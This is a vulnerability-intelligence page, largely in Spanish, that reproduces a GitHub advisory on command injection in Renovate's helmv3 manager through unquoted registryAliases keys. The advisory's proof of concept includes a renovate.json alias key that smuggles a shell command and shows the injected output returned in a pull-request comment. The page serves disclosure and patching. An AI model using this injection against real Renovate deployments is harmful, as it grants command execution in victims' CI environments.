llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · renovate

GHSA-RQGV-292V-5QGR

Renovate vulnerable to arbitrary command injection via helmv3 manager and registryAliases

Parche disponible
Descargar PNG JSON
CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión37.199.0
Exposición939 dDesde la divulgación, 23 abr 2024, 11:21 a. m.
Detección937 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada
23 abr 24
20 ago 26
17 nov 26
19 nov 26
23 abr 24
14 dic 24
6 ago 25
29 mar 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-RQGV-292V-5QGR divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

Attackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands.

Details

Since #26848 https://github.com/renovatebot/renovate/pull/26848, `registryAliases` has become mergeable. This means that the helmv3 manager started honoring its value and uses a `helm repo add <key> <parameters>` command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80
The key was not quoted, leading to the ability to use variable references (`$FOO`) in it and have them printed by Renovate on the pull request, or even running any shell commands.

PoC

Inside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:

test-chart/Chart.yaml:

apiVersion: v2
name: redis
version: 1.0.0
dependencies:
  - name: redis
    version: 18.13.10
    repository: oci://registry-1.docker.io/bitnamicharts

test-chart/Chart.lock:

dependencies:
- name: redis
  repository: oci://registry-1.docker.io/bitnamicharts
  version: 18.13.10
digest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38
generated: "2024-02-16T13:31:20.807026334Z"

Then add the following `renovate.json`:

{
  "$schema": "https://docs.renovatebot.com/renovate-schema.json",
  "extends": [
    "config:base"
  ],
  "registryAliases": {
    "foo/bar || sh -c 'ls /; exit 1' >&2": "registry.example.com/proxy"
  }
}

Once Renovate runs on the repository, it will create a pull request, and add a comment titled "Artifact update problem" containing the following text:

File name: test-chart/Chart.lock

Command failed: helm repo add foo/bar || sh -c 'ls /; exit 1' >&2 registry.example.com/proxy --force-update
Error: "helm repo add" requires 2 arguments

Usage:  helm repo add [NAME] [URL] [flags]
bin
boot
dev
etc
go
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

This shows that the `ls` command executed successfully, and we can even see its output.

Note that redirecting any output you want to see to stderr (`>&2`) and making sure the final command fails (`exit 1`) is required in this case, as Renovate only adds a comment if the command fails, and it contains only stderr (not stdout) output.

Impact

All Renovate versions from 37.158.0 up until 37.199.0 were affected. This vulnerability allows full access to Renovate's execution environment. The level of severity depends on how Renovate is deployed (Docker, Kubernetes, CI pipeline, ...) and whether Renovate is being offered to untrusted users/repositories.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
renovate≥ 37.158.0 < 37.199.0
37.158.0
37.199.0
44.239.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmrenovate
Corregida 37.199.0 — 44.239.1 no afectada
Versiones corregidas37.199.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Otrahttps://github.com/renovatebot/renovate/security/advisories/GHSA-rqgv-292v-5qgr
Otrahttps://github.com/renovatebot/renovate/commit/1e941fd885c799f2d38f4084a6f4cb9438813c8f
Otrahttps://github.com/renovatebot/renovate
Otrahttps://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.